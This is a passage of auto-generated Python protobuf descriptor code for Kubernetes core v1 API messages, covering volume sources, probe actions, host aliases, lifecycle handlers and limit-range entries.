file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_FLEXVOLUMESOURCE_OPTIONSENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10110, serialized_end=10355, ) _FLOCKERVOLUMESOURCE = _descriptor.Descriptor( name='FlockerVolumeSource', full_name='k8s.io.api.core.v1.FlockerVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='datasetName', full_name='k8s.io.api.core.v1.FlockerVolumeSource.datasetName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='datasetUUID', full_name='k8s.io.api.core.v1.FlockerVolumeSource.datasetUUID', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10357, serialized_end=10420, ) _GCEPERSISTENTDISKVOLUMESOURCE = _descriptor.Descriptor( name='GCEPersistentDiskVolumeSource', full_name='k8s.io.api.core.v1.GCEPersistentDiskVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='pdName', full_name='k8s.io.api.core.v1.GCEPersistentDiskVolumeSource.pdName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.GCEPersistentDiskVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='partition', full_name='k8s.io.api.core.v1.GCEPersistentDiskVolumeSource.partition', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.GCEPersistentDiskVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10422, serialized_end=10522, ) _GRPCACTION = _descriptor.Descriptor( name='GRPCAction', full_name='k8s.io.api.core.v1.GRPCAction', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='port', full_name='k8s.io.api.core.v1.GRPCAction.port', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='service', full_name='k8s.io.api.core.v1.GRPCAction.service', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10524, serialized_end=10567, ) _GITREPOVOLUMESOURCE = _descriptor.Descriptor( name='GitRepoVolumeSource', full_name='k8s.io.api.core.v1.GitRepoVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='repository', full_name='k8s.io.api.core.v1.GitRepoVolumeSource.repository', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='revision', full_name='k8s.io.api.core.v1.GitRepoVolumeSource.revision', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='directory', full_name='k8s.io.api.core.v1.GitRepoVolumeSource.directory', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10569, serialized_end=10647, ) _GLUSTERFSPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='GlusterfsPersistentVolumeSource', full_name='k8s.io.api.core.v1.GlusterfsPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='endpoints', full_name='k8s.io.api.core.v1.GlusterfsPersistentVolumeSource.endpoints', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.GlusterfsPersistentVolumeSource.path', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.GlusterfsPersistentVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='endpointsNamespace', full_name='k8s.io.api.core.v1.GlusterfsPersistentVolumeSource.endpointsNamespace', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10649, serialized_end=10761, ) _GLUSTERFSVOLUMESOURCE = _descriptor.Descriptor( name='GlusterfsVolumeSource', full_name='k8s.io.api.core.v1.GlusterfsVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='endpoints', full_name='k8s.io.api.core.v1.GlusterfsVolumeSource.endpoints', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.GlusterfsVolumeSource.path', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.GlusterfsVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10763, serialized_end=10837, ) _HTTPGETACTION = _descriptor.Descriptor( name='HTTPGetAction', full_name='k8s.io.api.core.v1.HTTPGetAction', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.HTTPGetAction.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='port', full_name='k8s.io.api.core.v1.HTTPGetAction.port', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='host', full_name='k8s.io.api.core.v1.HTTPGetAction.host', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='scheme', full_name='k8s.io.api.core.v1.HTTPGetAction.scheme', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='httpHeaders', full_name='k8s.io.api.core.v1.HTTPGetAction.httpHeaders', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=10840, serialized_end=11016, ) _HTTPHEADER = _descriptor.Descriptor( name='HTTPHeader', full_name='k8s.io.api.core.v1.HTTPHeader', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.HTTPHeader.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.HTTPHeader.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11018, serialized_end=11059, ) _HOSTALIAS = _descriptor.Descriptor( name='HostAlias', full_name='k8s.io.api.core.v1.HostAlias', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='ip', full_name='k8s.io.api.core.v1.HostAlias.ip', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostnames', full_name='k8s.io.api.core.v1.HostAlias.hostnames', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11061, serialized_end=11103, ) _HOSTPATHVOLUMESOURCE = _descriptor.Descriptor( name='HostPathVolumeSource', full_name='k8s.io.api.core.v1.HostPathVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.HostPathVolumeSource.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.HostPathVolumeSource.type', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11105, serialized_end=11155, ) _ISCSIPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='ISCSIPersistentVolumeSource', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='targetPortal', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.targetPortal', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='iqn', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.iqn', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lun', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.lun', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='iscsiInterface', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.iscsiInterface', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.fsType', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.readOnly', index=5, number=6, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='portals', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.portals', index=6, number=7, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='chapAuthDiscovery', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.chapAuthDiscovery', index=7, number=8, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='chapAuthSession', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.chapAuthSession', index=8, number=11, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.secretRef', index=9, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='initiatorName', full_name='k8s.io.api.core.v1.ISCSIPersistentVolumeSource.initiatorName', index=10, number=12, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11158, serialized_end=11441, ) _ISCSIVOLUMESOURCE = _descriptor.Descriptor( name='ISCSIVolumeSource', full_name='k8s.io.api.core.v1.ISCSIVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='targetPortal', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.targetPortal', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='iqn', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.iqn', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lun', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.lun', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='iscsiInterface', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.iscsiInterface', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.fsType', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.readOnly', index=5, number=6, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='portals', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.portals', index=6, number=7, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='chapAuthDiscovery', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.chapAuthDiscovery', index=7, number=8, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='chapAuthSession', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.chapAuthSession', index=8, number=11, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.secretRef', index=9, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='initiatorName', full_name='k8s.io.api.core.v1.ISCSIVolumeSource.initiatorName', index=10, number=12, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11444, serialized_end=11722, ) _KEYTOPATH = _descriptor.Descriptor( name='KeyToPath', full_name='k8s.io.api.core.v1.KeyToPath', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.KeyToPath.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.KeyToPath.path', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mode', full_name='k8s.io.api.core.v1.KeyToPath.mode', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11724, serialized_end=11776, ) _LIFECYCLE = _descriptor.Descriptor( name='Lifecycle', full_name='k8s.io.api.core.v1.Lifecycle', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='postStart', full_name='k8s.io.api.core.v1.Lifecycle.postStart', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='preStop', full_name='k8s.io.api.core.v1.Lifecycle.preStop', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11778, serialized_end=11901, ) _LIFECYCLEHANDLER = _descriptor.Descriptor( name='LifecycleHandler', full_name='k8s.io.api.core.v1.LifecycleHandler', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='exec', full_name='k8s.io.api.core.v1.LifecycleHandler.exec', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='httpGet', full_name='k8s.io.api.core.v1.LifecycleHandler.httpGet', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='tcpSocket', full_name='k8s.io.api.core.v1.LifecycleHandler.tcpSocket', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=11904, serialized_end=12076, ) _LIMITRANGE = _descriptor.Descriptor( name='LimitRange', full_name='k8s.io.api.core.v1.LimitRange', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.LimitRange.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.LimitRange.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12079, serialized_end=12209, ) _LIMITRANGEITEM_MAXENTRY = _descriptor.Descriptor( name='MaxEntry', full_name='k8s.io.api.core.v1.LimitRangeItem.MaxEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.LimitRangeItem.MaxEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.LimitRangeItem.MaxEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12598, serialized_end=12688, ) _LIMITRANGEITEM_MINENTRY = _descriptor.Descriptor( name='MinEntry', full_name='k8s.io.api.core.v1.LimitRangeItem.MinEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.LimitRangeItem.MinEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.LimitRangeItem.MinEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=12690, serialized_end=12780, ) _LIMITRANGEITEM_DEFAULTENTRY = _descriptor.Descriptor( name='DefaultEntry', full_name='k8s.io.api.core.v1.LimitRangeItem.DefaultEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', 